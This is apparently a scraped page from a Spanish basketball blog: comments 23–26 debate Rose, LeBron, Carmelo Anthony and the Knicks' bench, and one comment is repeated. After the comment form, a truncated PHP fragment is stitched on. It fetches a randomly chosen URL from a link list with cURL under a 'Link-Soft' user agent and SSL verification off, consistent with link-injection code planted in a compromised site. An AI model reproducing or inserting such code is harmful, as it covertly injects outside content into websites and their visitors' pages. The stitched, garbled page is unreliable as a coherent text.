    Por Dios hay que respetar los comentarios de todo el mundo pero no se puede vetar a este FatmeloRules??? un testamento cada X tiempo no pasa nada. incluso un testamento al dia OK. Pero varios testamentos al día y nada mas que diciendo tonterias… Sinceramente yo creo que se vió el otro día el Chicago-Knicks y ya es todo un experto… pq esta soltando cada una sobre Rose… que por Dios… precisamente un jugador que tiene Buzzer Beater a montones en sus 4 años de liga, que una vez tras otra mete muchos puntos en el ultimo cuarto… y que se le acuse de perdedor??? Luego habla de Lebron como si fuera un Scalabrine de la vida…
    Y ya no entro a valorar el hecho de que según el y por como habla de los NYK parece que el banquillo de NYK sea la hostia… cuando es precisamente de los peores banquillos de la liga. Están en un gran momento pero tranquilos que aún no han hecho nada. Melo espectacular desde el cambio de entrenador. De acuerdo en que es de los mejores jugadores en el Clutch mejor que lebron y que Rose, pero macho, que hablas como si ya con llegar a los ultimos 3 minutos igualados ya pq Melo sea mejor en el clutch ya van a ganar. El baloncesto no son matematicas, Y el que falla puede anotar ese dia y el que anota puede fallar ese día. Vamos a respetar a los jugadores.

      Citar

  23. simon dice:
    #23

    Por Dios hay que respetar los comentarios de todo el mundo pero no se puede vetar a este FatmeloRules??? un testamento cada X tiempo no pasa nada. incluso un testamento al dia OK. Pero varios testamentos al día y nada mas que diciendo tonterias… Sinceramente yo creo que se vió el otro día el Chicago-Knicks y ya es todo un experto… pq esta soltando cada una sobre Rose… que por Dios… precisamente un jugador que tiene Buzzer Beater a montones en sus 4 años de liga, que una vez tras otra mete muchos puntos en el ultimo cuarto… y que se le acuse de perdedor??? Luego habla de Lebron como si fuera un Scalabrine de la vida…
    Y ya no entro a valorar el hecho de que según el y por como habla de los NYK parece que el banquillo de NYK sea la hostia… cuando es precisamente de los peores banquillos de la liga. Están en un gran momento pero tranquilos que aún no han hecho nada. Melo espectacular desde el cambio de entrenador. De acuerdo en que es de los mejores jugadores en el Clutch mejor que lebron y que Rose, pero macho, que hablas como si ya con llegar a los ultimos 3 minutos igualados ya pq Melo sea mejor en el clutch ya van a ganar. El baloncesto no son matematicas, Y el que falla puede anotar ese dia y el que anota puede fallar ese día. Vamos a respetar a los jugadores.

      Citar

  24. Jack77 dice:
    #24

    simon:
    Por Dios hay que respetar los comentarios de todo el mundo pero no se puede vetar a este FatmeloRules??? un testamento cada X tiempo no pasa nada. incluso un testamento al dia OK. Pero varios testamentos al día y nada mas que diciendo tonterias… Sinceramente yo creo que se vió el otro día el Chicago-Knicks y ya es todo un experto… pq esta soltando cada una sobre Rose… que por Dios… precisamente un jugador que tiene Buzzer Beater a montones en sus 4 años de liga, que una vez tras otra mete muchos puntos en el ultimo cuarto… y que se le acuse de perdedor???Luego habla deLebron como si fuera un Scalabrine de la vida…
    Y ya no entro a valorar el hecho de que según el y por como habla de los NYK parece que el banquillo de NYK sea la hostia… cuando es precisamente de los peores banquillos de la liga. Están en un gran momento pero tranquilos que aún no han hecho nada. Melo espectacular desde el cambio de entrenador. De acuerdo en que es de los mejores jugadores en el Clutch mejor que lebron y que Rose, pero macho, que hablas como si ya con llegar a los ultimos 3 minutos igualados ya pq Melo sea mejor en el clutch ya van a ganar. El baloncesto no son matematicas, Y el que falla puede anotar ese dia y el que anota puede fallar ese día. Vamos a respetar a los jugadores.

    Coincido bastante con todo lo que dices, pero creo que no has visto demasiados partidos de los Knicks debido a que su banquillo(antes con Lin de titular y Baron suplente) es un banquillo muy peligroso. Si los Knicks tuviesen a todos sus jugadores disponibles, el banquillo estaría formado por: Baron Davis, JR Smith, Shumpert, Jeffries y Novak. Baron Davis, es un jugador de 15-20 minutos de calidad(ahora de titular, sus números bajan), JR Smth es un tio que si tiene el día, es muy difícil pararle, aunque es una de cal dos de arena. Shumpert ha sido la gran sorpresa para los Knicks, gran defensor y ahora ha encontrado una buena mecánica de tiro y cada vez es un tirador más fiable desde la larga distancia, aunque su selección de tiro es, a veces, incorrecta. Jeffries vuelve a ser el jugador que prometía, un jugador casi nulo en ataque pero se ha destapado como un potente defensor y Novak, ese triplista, que ha vagado por media NBA, ahora es un jugador de unos 10ppp y el mejor % de triples en la liga. El de los Knicks no es un mal banquillo, yo he visto la mayoría de partidos de los Knicks, y desde la Linsanity, cuando no estaban ni Melo ni Amare, los suplentes repudiados cogieron las riendas del equipo, y ahora han entrado en la rotación. Ahora, con la baja de Lin, Woodson tendrá que recuperar a Toney Douglas si quiere tener alguna opción en PO, aparte de recuperar al lesionado Stoudemire.

      Citar

  25. simon dice:
    #25

    La verdad hará un mes y medio que no veo a los Knics un partido completo De los Knicks hablo de ratitos y por hablar de algo ultimamente jajajaj. Quizá este resultando bien ese banquillo de momento pero no veo que ese banquillo sea capaz de competir en PO. Shumpert previsiblemente sufrirá como Rookie que es en PO. Novak y Jeffreis sufrirán contra todos los interiores rivales, excepto quizás contra Miami ( contra los que tampoco marcaran diferencias ). JR smit es demasiado inconsistente como para confiar el peso de un banquillo de un ¿aspirante? ( por el nivel actual y por como se infla todo lo que huela a NY, hoy dia son un aspirante ) en él. Dicho esto el mejor suplente me parece Shumpert, que no deja de ser un Rookie.

      Citar

  26. melo15 dice:
    #26

    Fatmelorules. Melo gano a James en el instituto, lo rompio en la universidad, y para mi gusto lo hizo muchsimo mejor que James en sus dos primeros años en la NBA, a partir de alli, se diluyo un poco, aunque tambien ha tenido bastante mala suerte, creo que en la temporada 07/08 tuvo una RS de 50 victorias pero el nivel de el Oeste, le hizo quedar en 8 posicion =eliminacion segura contra Spurs, despues en la siguiente temporada, estuvo al nivel de Lebron, pero en la siguiente la cago, es verdad que Carl, tuvo cancer pero no es excusa para caer en 1 ronda contra unos Jazz que tenian peor equipo.
    Desprestigiar a jugadores como Rose o James, es jugarsela mucho, estos dos jugadores hasta ahora han demostrado mas que Melo, sobretodo el segundo, que tiene una fama de perdedor que te cagas, cuando en Cleveland tenia un equipo de mierda.

    Quien creeis que se merece el MVP? Porque ahora con OCK segundo, no lo tengo tan claro.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>